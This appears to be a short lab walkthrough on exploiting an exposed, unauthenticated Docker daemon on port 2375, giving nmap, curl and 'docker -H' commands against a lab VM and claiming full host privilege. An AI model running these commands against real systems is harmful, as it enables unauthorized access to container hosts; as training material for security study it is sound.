Exploiting docker misconfiguration

In this scenario we will see that misconfigured docker with port 2375 running and exposed. We will use this with docker runtime host option to access the containers, images and gain host system privileges.

The Docker daemon can listen for Docker Engine API requests via three different types of Socket unix, tcp, and fd. To access remotely we have to enable tcp socket. The default setup provides un-encrypted and un-authenticated direct access to the Docker daemon. It is conventional to use port 2375 for un-encrypted, and port 2376 for encrypted communication with the daemon.

• Scan the 2375 and 2376 port using nmap from student VM

nmap -p 2375,2376 -n 192.168.56.4 -v

• We can query the docker API using curl

curl 192.168.56.4:2375/images/json | jq .

• Attacker can abuse this by using the docker daemon configuration to access the host system's docker runtime

docker -H tcp://CTFVMIP:2375 ps
docker -H tcp://CTFVMIP:2375 images

• Now, we have full privilege over the host system :)